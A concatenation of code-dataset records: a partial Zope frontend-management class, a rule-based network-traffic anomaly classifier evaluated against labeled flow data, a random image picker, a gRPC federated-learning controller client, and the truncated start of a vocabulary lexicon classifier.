object. If object is a string, it will be normalized and the last path element removed.\"\"\"\r\n\r\n # TODO frontends.py - implement get_frontend_parent\r\n\r\n raise NotImplemented\r\n\r\n security.declareProtected(permission_manage_frontends, 'get_frontend_parent_path')\r\n\r\n def get_frontend_parent_path(self, frontend):\r\n \"\"\"!TXT! Return the specified Frontend's parent object. If object is a string, it will be normalized and the last path element removed.\"\"\"\r\n\r\n # TODO frontends.py - implement get_frontend_parent_path\r\n\r\n raise NotImplemented\r\n\r\n security.declareProtected(permission_manage_frontends, 'get_frontend_parents')\r\n\r\n def get_frontend_parents(self, frontend):\r\n \"\"\"!TXT! Return the specified Frontend's parent objects. If object is a string, it will be normalized and the last path element removed.\"\"\"\r\n\r\n # TODO frontends.py - implement get_frontend_parents\r\n\r\n raise NotImplemented\r\n\r\n security.declareProtected(permission_manage_frontends, 'get_frontend_rendering_ids')\r\n\r\n def get_frontend_rendering_ids(self, path):\r\n \"\"\"!TXT! Return a list of all ids generated by rendering the specified Frontend.\"\"\"\r\n\r\n frontend = self.get_frontend(path)\r\n return frontend.get_frontend_rendering_ids()\r\n\r\n # ------------------------------------------------------------------------\r\n # Frontend Mutation API\r\n\r\n security.declareProtected(permission_manage_frontends, 'add_frontend_type')\r\n\r\n # TODO frontends.py - update add_frontend_type to new mechanism\r\n # TODO frontends.py - check add_frontend_type if add factory can redirect properly to frontends_form\r\n\r\n def add_frontend_type(self, REQUEST=None):\r\n \"\"\"!TXT! Add a new Frontend in the specified path with specified id and configuration.\"\"\"\r\n\r\n path = 'frontends' + REQUEST.get('path', '')\r\n frontend_type = REQUEST.get('frontend_type', '')\r\n if frontend_type == 'OFS':\r\n self.redirect(\r\n REQUEST,\r\n path + REQUEST.get('ofs_object_type')\r\n )\r\n else:\r\n try:\r\n frontendplugin = self.get_plugin(REQUEST['frontend_type'])\r\n self.redirect(\r\n REQUEST,\r\n path + frontendplugin['action']\r\n )\r\n except:\r\n self.redirect(\r\n REQUEST,\r\n 'frontends_form',\r\n message='!TXT! Invalid Frontend Type'\r\n )\r\n\r\n security.declareProtected(permission_manage_frontends, 'add_frontend')\r\n\r\n # TODO frontends.py - implement add_frontend\r\n\r\n def add_frontend(self, path, frontend_path, frontend_type_id, options={}, REQUEST=None, **args):\r\n \"\"\"!TXT! Add a new Frontend in the specified path with specified id and configuration.\"\"\"\r\n\r\n raise NotImplemented\r\n\r\n security.declareProtected(permission_manage_frontends, 'delete_frontend')\r\n\r\n def delete_frontend(self, path, REQUEST=None):\r\n \"\"\"!TXT!\"\"\"\r\n\r\n path, frontend_id = path.rsplit('/', 1)\r\n base = self.get_frontend_parent(path)\r\n base.manage_delObjects(frontend_id)\r\n self.redirect(\r\n REQUEST,\r\n 'frontends_form',\r\n message='!TXT! Frontend \"%s\" at \"%s\" deleted.' % (frontend_id, path, new_id),\r\n update_menu=true,\r\n )\r\n\r\n security.declareProtected(permission_manage_frontends, 'delete_frontends')\r\n\r\n def delete_frontends(self, paths=[], REQUEST=None):\r\n \"\"\"!TXT!\"\"\"\r\n\r\n if not paths:\r\n raise ValueError('!TXT! No Frontends specified')\r\n delete_frontend = self.delete_frontend\r\n for path in paths:\r\n delete_frontend(path)\r\n self.redirect(\r\n REQUEST,\r\n 'frontends_form',\r\n message='!TXT! %d Frontends deleted.' % len(paths),\r\n update_menu=true,\r\n )\r\n\r\n security.declareProtected(permission_manage_frontends, 'duplicate_frontend')\r\n\r\n def duplicate_frontend(self, path, new_id=None, REQUEST=None):\r\n \"\"\"!TXT!\"\"\"\r\n\r\n path, frontend_id = path.rsplit('/', 1)\r\n base = _traverse_frontend_path(path)\r\n if not new_id:\r\n ids = base.objectIds()\r\n new_id = 'copy_of_%s' % frontend_id\r\n counter = 2\r\n while new_id in ids:\r\n new_id = 'copy_%d_of_%s' % (counter, frontend_id)\r\n counter = counter + 1\r\n base.manage_clone(frontend_id, new_id)\r\n self.redirect(\r\n REQUEST,\r\n 'frontends_form',\r\n message='!TXT! Frontend \"%s\" at \"%s\" duplicated as \"%s\"' % (frontend_id, path, new_id),\r\n update_menu=true,\r\n )\r\n return new_id\r\n\r\n security.declareProtected(permission_manage_frontends, 'duplicate_frontends')\r\n\r\n def duplicate_frontends(self, paths, new_ids=[], REQUEST=None):\r\n \"\"\"!TXT!\"\"\"\r\n\r\n if not paths:\r\n raise ValueError('No Frontends specified')\r\n elif not new_ids:\r\n new_ids = [None] * len(paths)\r\n elif len(paths) != len(new_ids):\r\n raise ValueError(\"!TXT! Number of old and new ids for duplicating Frontends mismatch.\")\r\n result_ids = []\r\n result_ids_append = result.append\r\n duplicate_frontend = self.duplicate_frontend\r\n for index in range(len(paths)):\r\n result_ids_append(duplicate_frontend(paths[index], new_ids[index]))\r\n self.redirect(\r\n REQUEST,\r\n 'frontends_form',\r\n message='!TXT! %d Frontends duplicated.' % len(result_ids),\r\n update_menu=true,\r\n )\r\n return result_ids\r\n\r\n security.declareProtected(permission_manage_frontends, 'edit_frontend')\r\n\r\n # TODO frontends.py - implement edit_frontend\r\n\r\n def edit_frontend(self, frontend_path, options={}, REQUEST=None, **args):\r\n \"\"\"!TXT! Change the specified Frontend's configuration.\"\"\"\r\n\r\n raise NotImplemented\r\n\r\n security.declareProtected(permission_manage_frontends, 'move_frontend')\r\n\r\n # TODO frontends.py - implement move_frontend\r\n\r\n def move_frontend(self, frontend_path, destination_path, REQUEST=None):\r\n \"\"\"!TXT! Move the specified Frontend to a new container.\"\"\"\r\n\r\n raise NotImplemented\r\n\r\n security.declareProtected(permission_manage_frontends, 'move_frontends')\r\n\r\n # TODO frontends.py - implement move_frontends\r\n\r\n def move_frontends(self, frontend_paths, destination_path, REQUEST=None):\r\n \"\"\"!TXT! Move the specified Frontends to a new container.\"\"\"\r\n\r\n raise NotImplemented\r\n\r\n security.declareProtected(permission_manage_frontends, 'rename_frontend')\r\n\r\n def rename_frontend(self, path, new_id, REQUEST=None):\r\n \"\"\"!TXT! Rename the specified Frontend.\"\"\"\r\n\r\n path, frontend_id = path.rsplit('/', 1)\r\n base = _traverse_frontend_path(path)\r\n base.manage_renameObject(frontend_id, new_id)\r\n self.redirect(\r\n REQUEST,\r\n 'frontends_form',\r\n message='!TXT! Frontend \"%s\" at \"%s\" renamed to \"%s\".' % (frontend_id, path, new_id),\r\n update_menu=true,\r\n )\r\n return new_id\r\n\r\n security.declareProtected(permission_manage_frontends, 'rename_frontends')\r\n\r\n def rename_frontends(self, paths, new_ids, REQUEST=None):\r\n \"\"\"!TXT! Rename the specified Frontends. Both id lists must have the same length or ValueError is raised.\"\"\"\r\n\r\n if not paths:\r\n raise ValueError('!TXT! No Frontends specified')\r\n elif len(paths) != len(new_ids):\r\n raise ValueError(\"!TXT! Number of old and new ids for renaming Frontends mismatch.\")\r\n result_ids = []\r\n result_ids_append = result.append\r\n rename_frontend = self.rename_frontend\r\n for index in range(len(paths)):\r\n result_ids_append(rename_frontend(paths[index], new_ids[index]))\r\n self.redirect(\r\n REQUEST,\r\n 'frontends_form',\r\n message='!TXT! %d Frontends renamed.' % len(frontend_ids),\r\n update_menu=true,\r\n )\r\n return result_ids\r\n\r\n# ----------------------------------------------------------------------------\r\n# Class Security\r\n\r\nInitializeClass(Frontends)\r\n\r\n# !!! frontends.py - remove code to 2.4\r\n# TODO frontends.py - form/formlet handler for add_frontend\r\n# TODO frontends.py - form/formlet handler for edit_frontend\r\n# TODO frontends.py - implement frontend preview\r\n","repo_name":"sfluehnsdorf/MetaPublisher2","sub_path":"Products/MetaPublisher2/publisher/frontends/frontends.py","file_name":"frontends.py","file_ext":"py","file_size_in_byte":18500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70529922386","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport time\n\ndef detection_Anomalies(file):\n f = open(file, \"r\")\n\n lines = f.readlines()\n\n newLines = []\n for line in lines:\n newLine1 = line.split(',')\n # print(newLine1)\n newLines.append(newLine1)\n i = 0\n\n error=0\n\n for line in newLines:\n i += 1\n\n attaque = False\n\n #Backdoor\n #Voici une règle qui caractérise une attaque backdoor\n\n if ((line[4] == \"tcp\") and (line[3] == \"80\" or line[3] == \"8080\") and (line[5] == \"-\" or line[5] == \"smb\") and (line[9] == \"REJ\") ):\n\n #On va vérifier qu'on à bien à faire à une attaque backdoor\n label = \"backdoor\\n\"\n if (label != line[16]):\n\n #Si on a pas d'attaque on va incrémenter le nombre d'erreur\n print(\"erreur\")\n error += 1\n else:\n print(\"backdoor \"+ str(i))\n attaque = True\n\n\n\n\n\n if (line[4] == \"tcp\" and (line[9] == \"S0\" or line[9]==\"REJ\") and ((int(line[3]) > 100) and (line[3]!=\"8080\"))):\n label = \"scanning\\n\"\n if (label != line[16]):\n print(\"erreur\");\n error += 1\n else:\n print(\"Scanning \" + str(i));\n attaque = True\n\n\n\n\n\n\n if ((line[3] == line[1] and (int(line[3]) >= 11) and (int(line[3]) <= 79)) and line[4] == \"tcp\" and (line[9] == \"REJ\"or line[9]==\"RSTO\")):\n label = \"dos\\n\";\n if (label != line[16]):\n print(\"erreur \"+str(i) );\n error += 1\n else:\n print(\"dos\");\n attaque = True\n if (line[3] == \"19\" and line[4] == \"tcp\" and line[9] == \"SO\"):\n\n label = \"dos\\n\";\n if (label != line[16]):\n print(\"erreur\");\n error += 1\n else:\n print(\"dos\");\n attaque = True\n\n if(line[4]==\"udp\" and line[5]==\"dns\" and line[9]==\"SF\" and (line[14]==\"broker.hivemq.com\" )):\n\n label=\"dos\\n\"\n\n if (label != line[16]):\n print(\"erreur\");\n error += 1\n else:\n print(\"dos\");\n attaque = True\n\n\n\n\n\n if (line[3] == \"80\" and line[4] == \"tcp\" and line[5] == \"http\" and line[9] == \"SF\"):\n\n label = \"injection\\n\"\n label2=\"password\\n\"\n if (label != line[16] and label2 !=line[16]):\n print(\"erreur\");\n error += 1\n else:\n print(\"injection or password \" + str(i));\n attaque = True\n\n if (line[3] == \"80\" and line[4] == \"tcp\" and line[5] == \"-\" and line[9] == \"S2\"):\n\n # Permet de vérifier qu'on a bien une attaque informatique\n label = \"injection\\n\";\n if (label != line[16]):\n print(\"erreur\");\n error += 1\n else:\n print(\"injection\");\n attaque = True\n\n\n\n\n\n if ((line[3] == \"80\" or line[3] == \"443\") and (line[4] == \"tcp\") and (line[9] == \"S1\" or line[9] == \"S3\") ) or (line[14]==\"testphp.vulnweb.com/listproducts.php.hub\" or line[14]==\"testphp.vulnweb.com/listproducts.php\"):\n label = \"ddos\\n \"\n if (label != line[16]):\n print(\"erreur\" + str(i));\n error += 1\n else:\n print(\"DDOS \"+ str(i))\n attaque = True\n\n if(line[3]==\"8080\" and line[4]==\"tcp\" and (line[9]==\"SF\" or line[9]==\"OTH\")):\n\n label = \"ddos\\n\"\n if (label != line[16]):\n print(\"erreur\");\n error += 1\n else:\n print(\"DDOS \" + str(i))\n attaque = True\n\n\n\n\n\n\n\n\n if (line[3] == \"21\" and line[3]!=line[1] and line[4] == \"tcp\" and line[5] == \"-\" and line[9] == \"REJ\"):\n label = \"password\\n\";\n if (label != line[16]):\n print(\"erreur\");\n error += 1\n else:\n print(\"password \"+str(i));\n attaque = True\n\n\n\n\n if (line[3] == \"80\" and line[4] == \"tcp\" and (line[5] == \"http\" or line[5] == \"-\") and (\n (line[9] == \"SH\") or (line[9] == \"SO\") or (line[9] == \"SHR\") or (line[9] == \"S3\") or line[9] == \"RSTR\" )):\n\n label = \"xss\\n\"\n if (label != line[16]):\n print(\"erreur\")\n error += 1\n else:\n print(\"XSS\")\n attaque = True\n\n if ((line[5] == \"dns\") and (line[4] == \"udp\") and (line[9] == \"SF\") and (\n line[14] == \"testphp.vulnweb.com\" or line[14] == \"www.mqtt-dashboard.com\")):\n\n label = \"1\"\n if (label != line[15]):\n print(\"erreur\");\n error += 1\n else:\n print(\"XSS\");\n attaque = True\n\n if ((line[3] == \"4444\" or line[1] == \"4444\") and line[4] == \"tcp\" and line[9] == \"OTH\"):\n\n label = \"ransomware\\n\";\n if (label != line[16]):\n print(\"erreur\");\n error += 1\n else:\n print(\"ransomware\");\n attaque = True\n if (line[3] == \"445\" and line[4] == \"tcp\" and line[9] == \"OTH\"):\n label = \"ransomware\\n\";\n if (label != line[16]):\n print(\"erreur\");\n error += 1\n else:\n print(\"ransomware\");\n attaque = True\n if (line[3] == \"135\" and line[4] == \"tcp\" and (\n line[9] == \"OTH\" or line[9] == \"SO\" or line[9] == \"SH\" or line[9] == \"SHR\")):\n label = \"ransomware\\n\";\n\n if (label != line[16]):\n print(\"erreur\");\n error += 1\n else:\n print(\"ransomware\");\n attaque = True\n if ((line[3] == \"7870\" or line[1] == \"7870\") and line[4] == \"tcp\" and line[9] == \"OTH\"):\n label = \"ransomware\\n\";\n if (label != line[16]):\n print(\"erreur\");\n error += 1\n else:\n print(\"ransomware\");\n attaque = True\n\n\n if ((line[5] == \"dns\") and (line[4] == \"udp\") and (line[9] == \"SF\") and (\n line[14] == \"detectportal.firefox.com\" or line[14] == \"detectportal.firefox.com.hub\")):\n label = \"mitm\\n\"\n if (label != line[16]):\n print(\"erreur\")\n error += 1\n else:\n print(\"MITM \")\n attaque = True\n\n\n if ((line[3] == \"443\") and line[4] == \"tcp\" and line[5] == \"ssl\" and (line[9] == \"RSTR\" or line[9] == \"SF\")):\n label = \"mitm\\n\"\n if (label != line[16]):\n print(\"erreur\");\n error += 1\n else:\n print(\"MITM \");\n attaque = True\n\n\n if (line[4] == \"icmp\" and line[9] == \"OTH\"):\n label = \"mitm\\n\"\n if (label != line[16]):\n print(\"erreur\")\n error += 1\n else:\n print(\"MITM \")\n attaque = True\n\n if ((line[3] == \"443\") and line[4] == \"tcp\" and (line[9] == \"RSTOS0\" or line[9] == \"RSTO\")):\n label = \"mitm\\n\"\n if (label != line[16]):\n print(\"erreur\")\n error += 1\n else:\n print(\"MITM \")\n attaque = True\n\n else:\n if(attaque == False):\n label = \"0\"\n if (label != line[15]):\n print(\"erreur \" + str(i))\n error+=1\n else:\n print(\"normal \"+ str(i))\n\n\n\n # On va calculer le taux d'erreur de notre algorithme qui est le nombre d'erreur divisé le nombre total de records.\n len=newLines.__len__()\n errorRate=error/len\n print(\"taux d'erreur : \",errorRate)\n\n\nfile = \"C:\\\\Users\\micka\\OneDrive\\Bureau\\TER\\\\algo 2\\\\network_filtre.csv\"\n\ndetection_Anomalies(file)","repo_name":"TheNiceButcher/TER","sub_path":"Anomaly_detection_train_test_network.py","file_name":"Anomaly_detection_train_test_network.py","file_ext":"py","file_size_in_byte":8092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73004106707","text":"import random\n\ndefault_image = [\"static/default.jpg\", \n \"https://unsplash.com/photos/TkSi_p-5HR0\",\n \"Engelberg, Switzerland by Ricardo Gomez Angel\"]\n\ndef get_image(filepath):\n #open urls File\n file = open(filepath,\"r\")\n #pick image at random\n lines = file.readlines()\n #print (lines)\n if len(lines) > 0:\n final_img_url = random.choice(lines)\n # return list \"IMGURL\", \"IMGREDDITLINK\", \"IMGTXT\"\n splits = final_img_url.split('\\t')\n return splits\n else:\n #if no new images available, return default img\n return default_image","repo_name":"ashrust/NewTab","sub_path":"render_img.py","file_name":"render_img.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"12413159497","text":"import grpc\n\nimport metisfl.utils.proto_messages_factory as proto_factory\n\nfrom metisfl.utils.metis_logger import MetisLogger\nfrom metisfl.utils.grpc_services import GRPCServerClient\nfrom metisfl.utils.ssl_configurator import SSLConfigurator\nfrom metisfl.proto import controller_pb2_grpc\n\n\nclass GRPCControllerClient(GRPCServerClient):\n\n def __init__(self, controller_server_entity, max_workers=1):\n super(GRPCControllerClient, self).__init__(controller_server_entity, max_workers)\n self._stub = controller_pb2_grpc.ControllerServiceStub(self._channel)\n\n def check_health_status(self, request_retries=1, request_timeout=None, block=True):\n def _request(_timeout=None):\n get_services_health_status_request_pb = \\\n proto_factory.ServiceCommonProtoMessages. \\\n construct_get_services_health_status_request_pb()\n MetisLogger.info(\"Requesting controller's health status.\")\n response = self._stub.GetServicesHealthStatus(get_services_health_status_request_pb, timeout=_timeout)\n MetisLogger.info(\"Received controller's health status, {} - {}\".format(\n self.grpc_endpoint.listening_endpoint, response))\n return response\n\n if request_retries > 1:\n future = self.executor.schedule(function=self.request_with_timeout,\n args=(_request, request_timeout, request_retries))\n else:\n future = self.executor.schedule(_request)\n\n if block:\n return future.result()\n else:\n self.executor_pool.put(future)\n\n def join_federation(self,\n learner_server_entity,\n learner_id_fp,\n auth_token_fp,\n train_dataset_size,\n train_dataset_specs,\n validation_dataset_size,\n validation_dataset_specs,\n test_dataset_size,\n test_dataset_specs,\n is_classification,\n is_regression,\n request_retries=1,\n request_timeout=None,\n block=True):\n\n def _request(_timeout=None):\n # When issuing the join federation request, the learner/client needs also to share\n # the public certificate of its servicer with the controller, in order to receive\n # new incoming requests. The certificate needs to be in bytes (stream) format.\n # Most importantly, the learner/client must not share its private key with the\n # controller. Therefore, we need to clear the private key to make sure it is not\n # released to the controller. To achieve this, we generate a new ssl configuration\n # only with the value of the public certificate.\n public_ssl_config = \\\n SSLConfigurator.gen_public_ssl_config_pb_as_stream(\n ssl_config_pb=learner_server_entity.ssl_config)\n learner_server_entity_public = proto_factory.MetisProtoMessages.construct_server_entity_pb(\n hostname=learner_server_entity.hostname,\n port=learner_server_entity.port,\n ssl_config_pb=public_ssl_config)\n\n # Construct learner's data specifications.\n dataset_spec_pb = proto_factory.MetisProtoMessages.construct_dataset_spec_pb(\n num_training_examples=train_dataset_size,\n num_validation_examples=validation_dataset_size,\n num_test_examples=test_dataset_size,\n training_spec=train_dataset_specs,\n validation_spec=validation_dataset_specs,\n test_spec=test_dataset_specs,\n is_classification=is_classification,\n is_regression=is_regression)\n\n join_federation_request_pb = proto_factory.ControllerServiceProtoMessages \\\n .construct_join_federation_request_pb(server_entity_pb=learner_server_entity_public,\n local_dataset_spec_pb=dataset_spec_pb)\n\n # If it is the first time that the learner joins the federation, then both\n # learner id and authentication token are saved on disk to appropriate files.\n # If the learner has previously joined the federation, then an error\n # grpc.StatusCode.ALREADY_EXISTS is raised and the existing/already saved\n # learner id and authentication token are read/loaded from the disk.\n try:\n MetisLogger.info(\"Joining federation, learner {}.\".format(\n self.grpc_endpoint.listening_endpoint))\n response = self._stub.JoinFederation(join_federation_request_pb, timeout=_timeout)\n learner_id, auth_token, status = \\\n response.learner_id, response.auth_token, response.ack.status\n # override file contents or create file if not exists\n open(learner_id_fp, \"w+\").write(learner_id.strip())\n open(auth_token_fp, \"w+\").write(auth_token.strip())\n MetisLogger.info(\"Joined federation with assigned id: {}\".format(learner_id))\n except grpc.RpcError as rpc_error:\n if rpc_error.code() == grpc.StatusCode.ALREADY_EXISTS:\n learner_id = open(learner_id_fp, \"r\").read().strip()\n auth_token = open(auth_token_fp, \"r\").read().strip()\n status = True\n MetisLogger.info(\"Learner re-joined federation with assigned id: {}\".format(learner_id))\n else:\n raise RuntimeError(\"Unhandled grpc error: {}\".format(rpc_error))\n return learner_id, auth_token, status\n\n if request_retries > 1:\n future = self.executor.schedule(function=self.request_with_timeout,\n args=(_request, request_timeout, request_retries))\n else:\n future = self.executor.schedule(_request)\n\n if block:\n return future.result()\n else:\n self.executor_pool.put(future)\n\n def leave_federation(self, learner_id, auth_token, request_retries=1, request_timeout=None, block=True):\n def _request(_timeout=None):\n leave_federation_request_pb = proto_factory.ControllerServiceProtoMessages \\\n .construct_leave_federation_request_pb(learner_id=learner_id, auth_token=auth_token)\n MetisLogger.info(\"Leaving federation, learner {}.\".format(learner_id))\n response = self._stub.LeaveFederation(leave_federation_request_pb, timeout=_timeout)\n MetisLogger.info(\"Left federation, learner {}.\".format(learner_id))\n return response\n\n if request_retries > 1:\n future = self.executor.schedule(function=self.request_with_timeout,\n args=(_request, request_timeout, request_retries))\n else:\n future = self.executor.schedule(_request)\n\n if block:\n return future.result()\n else:\n self.executor_pool.put(future)\n\n def mark_task_completed(self, learner_id, auth_token, completed_task_pb,\n request_retries=1, request_timeout=None, block=True):\n def _request(_timeout=None):\n mark_task_completed_request_pb = proto_factory.ControllerServiceProtoMessages \\\n .construct_mark_task_completed_request_pb(learner_id=learner_id,\n auth_token=auth_token,\n completed_learning_task_pb=completed_task_pb)\n MetisLogger.info(\"Sending local completed task, learner {}.\".format(learner_id))\n response = self._stub.MarkTaskCompleted(mark_task_completed_request_pb, timeout=_timeout)\n MetisLogger.info(\"Sent local completed task, learner {}.\".format(learner_id))\n return response\n\n if request_retries > 1:\n future = self.executor.schedule(function=self.request_with_timeout,\n args=(_request, request_timeout, request_retries))\n else:\n future = self.executor.schedule(_request)\n\n if block:\n return future.result()\n else:\n self.executor_pool.put(future)\n\n def get_community_model_evaluation_lineage(self, num_backtracks,\n request_retries=1, request_timeout=None, block=True):\n def _request(_timeout=None):\n get_community_model_evaluation_lineage_request_pb = \\\n proto_factory.ControllerServiceProtoMessages\\\n .construct_get_community_model_evaluation_lineage_request_pb(num_backtracks)\n MetisLogger.info(\"Requesting community model evaluation lineage for {} backtracks.\".format(num_backtracks))\n response = self._stub.GetCommunityModelEvaluationLineage(\n get_community_model_evaluation_lineage_request_pb, timeout=_timeout)\n MetisLogger.info(\"Retrieved community model evaluation lineage.\")\n return response\n\n if request_retries > 1:\n future = self.executor.schedule(function=self.request_with_timeout,\n args=(_request, request_timeout, request_retries))\n else:\n future = self.executor.schedule(_request)\n\n if block:\n return future.result()\n else:\n self.executor_pool.put(future)\n\n def get_local_task_lineage(self, num_backtracks, learner_ids,\n request_retries=1, request_timeout=None, block=True):\n def _request(_timeout=None):\n get_local_task_lineage_request_pb = \\\n proto_factory.ControllerServiceProtoMessages \\\n .construct_get_local_task_lineage_request_pb(num_backtracks=num_backtracks,\n learner_ids=learner_ids)\n MetisLogger.info(\"Requesting local model evaluation lineage for {} backtracks.\".format(num_backtracks))\n response = self._stub.GetLocalTaskLineage(\n get_local_task_lineage_request_pb, timeout=_timeout)\n MetisLogger.info(\"Received local model evaluation lineage.\")\n return response\n\n if request_retries > 1:\n future = self.executor.schedule(function=self.request_with_timeout,\n args=(_request, request_timeout, request_retries))\n else:\n future = self.executor.schedule(_request)\n\n if block:\n return future.result()\n else:\n self.executor_pool.put(future)\n\n def get_participating_learners(self, request_retries=1, request_timeout=None, block=True):\n def _request(_timeout=None):\n get_participating_learners_pb = \\\n proto_factory.ControllerServiceProtoMessages.construct_get_participating_learners_request_pb()\n MetisLogger.info(\"Requesting number of participating learners.\")\n response = self._stub.GetParticipatingLearners(get_participating_learners_pb, timeout=_timeout)\n MetisLogger.info(\"Received number of participating learners.\")\n return response\n\n if request_retries > 1:\n future = self.executor.schedule(function=self.request_with_timeout,\n args=(_request, request_timeout, request_retries))\n else:\n future = self.executor.schedule(_request)\n\n if block:\n return future.result()\n else:\n self.executor_pool.put(future)\n\n def get_runtime_metadata(self, num_backtracks, request_retries=1, request_timeout=None, block=True):\n def _request(_timeout=None):\n get_runtime_metadata_pb = \\\n proto_factory.ControllerServiceProtoMessages\\\n .construct_get_runtime_metadata_lineage_request_pb(num_backtracks=num_backtracks)\n MetisLogger.info(\"Requesting runtime metadata lineage.\")\n response = self._stub.GetRuntimeMetadataLineage(get_runtime_metadata_pb, timeout=_timeout)\n MetisLogger.info(\"Received runtime metadata lineage.\")\n return response\n\n if request_retries > 1:\n future = self.executor.schedule(function=self.request_with_timeout,\n args=(_request, request_timeout, request_retries))\n else:\n future = self.executor.schedule(_request)\n\n if block:\n return future.result()\n else:\n self.executor_pool.put(future)\n\n def replace_community_model(self, num_contributors, model_pb,\n request_retries=1, request_timeout=None, block=True):\n def _request(_timeout=None):\n federated_model_pb = proto_factory.ModelProtoMessages.construct_federated_model_pb(\n num_contributors, model_pb)\n replace_community_model_request_pb = proto_factory \\\n .ControllerServiceProtoMessages.construct_replace_community_model_request_pb(\n federated_model_pb)\n MetisLogger.info(\"Replacing controller's community model.\")\n response = self._stub.ReplaceCommunityModel(replace_community_model_request_pb, timeout=_timeout)\n MetisLogger.info(\"Replaced controller's community model.\")\n return response.ack.status\n\n if request_retries > 1:\n future = self.executor.schedule(function=self.request_with_timeout,\n args=(_request, request_timeout, request_retries))\n else:\n future = self.executor.schedule(_request)\n\n if block:\n return future.result()\n else:\n self.executor_pool.put(future)\n\n def shutdown_controller(self, request_retries=1, request_timeout=None, block=True):\n def _request(_timeout=None):\n shutdown_request_pb = proto_factory \\\n .ServiceCommonProtoMessages.construct_shutdown_request_pb()\n MetisLogger.info(\"Sending shutdown request to controller {}.\".format(\n self.grpc_endpoint.listening_endpoint))\n response = self._stub.ShutDown(shutdown_request_pb, timeout=_timeout)\n MetisLogger.info(\"Sent shutdown request to controller {}.\".format(\n self.grpc_endpoint.listening_endpoint))\n return response.ack.status\n\n if request_retries > 1:\n future = self.executor.schedule(function=self.request_with_timeout,\n args=(_request, request_timeout, request_retries))\n else:\n future = self.executor.schedule(_request)\n\n if block:\n return future.result()\n else:\n self.executor_pool.put(future)\n","repo_name":"emg110/metisfl","sub_path":"metisfl/utils/grpc_controller_client.py","file_name":"grpc_controller_client.py","file_ext":"py","file_size_in_byte":15164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"43156085500","text":"# -*- coding: utf-8 -*-\n\nfrom typing import List\nfrom tqdm import tqdm\n\nfrom vocab_coverage.classifier import Classifier, load_classifier\nfrom vocab_coverage.loader import load_wordbook\nfrom vocab_coverage.utils import logger\nfrom vocab_coverage import constants\n\nclass Lexicon:\n def __init__(self, classifier:Classifier, wordbook:List[str]|List[dict]|dict[str, dict] = None):\n self.classifier = classifier\n # 词表结构\n # {\n # category: {\n # name: '',\n # color: '',\n # items: [\n # {id: '', text: ''},\n # {id: '', text: ''},\n # ...\n # ],\n # }\n self.lexicon = {}\n self.set_lexicon(wordbook)\n\n def __len__(self):\n return len(self.lexicon)\n\n def __iter__(self):\n for category, value in self.lexicon.items():\n yield category, value\n\n def set_lexicon(self, wordbook:List[str]|List[dict]|dict[str, dict]):\n if wordbook is None:\n self.lexicon = self._handle_categories(self.classifier.get_categories())\n elif isinstance(wordbook, list):\n if all(isinstance(item, str) for item in wordbook) or all(isinstance(item, bytes) for item in wordbook):\n self.lexicon = self._handle_list_str(wordbook)\n elif all(isinstance(item, dict) for item in wordbook):\n self.lexicon = self._handle_list_dict(wordbook)\n else:\n logger.debug(wordbook)\n raise ValueError('unsupported lexicon type')\n elif isinstance(wordbook, dict):\n self.lexicon = self._handle_dict(wordbook)\n else:\n raise ValueError(f'unsupported lexicon type. ({type(wordbook)})')\n logger.debug('Lexicon 词表加载完成 (%s)', self.get_item_count())\n\n def get_categories(self) -> List[str]:\n return list(self.classifier.get_categories().keys())\n\n def get_category(self, category:str) -> dict:\n return self.lexicon[category]\n\n def get_item_count(self) -> int:\n return sum(len(value['items']) for value in self.lexicon.values())\n\n def get_granularity(self) -> str:\n return self.classifier.granularity\n\n def _handle_categories(self, categories:dict[str, dict]) -> dict[str, list]:\n logger.debug('Lexicon 加载词表,词表为分类器的字典')\n lexicon = {}\n for category, value in categories.items():\n lexicon[category] = {\n 'name': category,\n 'color': value['color'],\n 'items': [{'text': text} for text in value['texts']]\n }\n return lexicon\n\n def _handle_list_str(self, wordbook:List[str]) -> dict[str, list]:\n logger.debug('Lexicon 加载词表,词表为字符串列表')\n # 词表是一个字符串列表\n lexicon = {}\n for category in self.classifier.get_categories():\n lexicon[category] = {\n 'name': category,\n 'color': self.classifier[category]['color'],\n 'items': []\n }\n # 将词表中的每个字符串归类到对应的类别中\n for text in wordbook:\n if len(text) > 0:\n # ziqingyang/chinese-llama-2-7b 会出现空字符串\n category = self.classifier.classify(text)\n if category is None:\n raise ValueError(f'无法判别文本类别:\"{text}\"')\n if category not in lexicon:\n raise ValueError(f'词表中的类别({category})不在分类器中')\n lexicon[category]['items'].append({'text': text})\n # 删除空类别\n empty_categories = []\n for category, value in lexicon.items():\n if len(value['items']) == 0:\n empty_categories.append(category)\n for category in empty_categories:\n del lexicon[category]\n\n return lexicon\n\n def _handle_list_dict(self, wordbook:List[dict]) -> dict[str, list]:\n logger.debug('Lexicon 加载词表,词表为字典列表,每个字典包含 id 和 text 两个字段')\n # 词表是一个字典列表,每个字典包含 id 和 text 两个字段\n lexicon = {}\n for category in self.classifier.get_categories():\n lexicon[category] = {\n 'name': category,\n 'color': self.classifier[category]['color'],\n 'items': []\n }\n # 将词表中的每个字符串归类到对应的类别中\n for item in tqdm(wordbook, desc='Lexicon 加载词表'):\n text = item['text']\n category = self.classifier.classify(text)\n if category is None:\n # 无需退出,忽略无法判别的文本即可\n logger.error('无法判别文本类别:\"%s\"', text)\n continue\n if category not in lexicon:\n raise ValueError(f'词表中的类别({category})不在分类器中')\n lexicon[category]['items'].append({'id': item['id'], 'text': text})\n # 删除空类别\n empty_categories = []\n for category, value in lexicon.items():\n if len(value['items']) == 0:\n empty_categories.append(category)\n for category in empty_categories:\n del lexicon[category]\n return lexicon\n\n def _handle_dict(self, wordbook:dict[str, list]) -> dict[str, list]:\n logger.debug('Lexicon 加载词表,词表为字典,每个字典的 key 是类别,value 是该类别的语料')\n # 词表是一个字典,每个字典的 key 是类别,value 是该类别的语料\n # 确认lexicon中的类别是否在classifier中存在\n for category, value in wordbook.items():\n if category not in self.classifier.get_categories():\n classifier_cats = self.classifier.get_categories().keys()\n raise ValueError(f'词表中的类别({category})不在分类器中({classifier_cats})')\n value['name'] = category\n value['color'] = self.classifier[category]['color']\n for item in value['items']:\n if 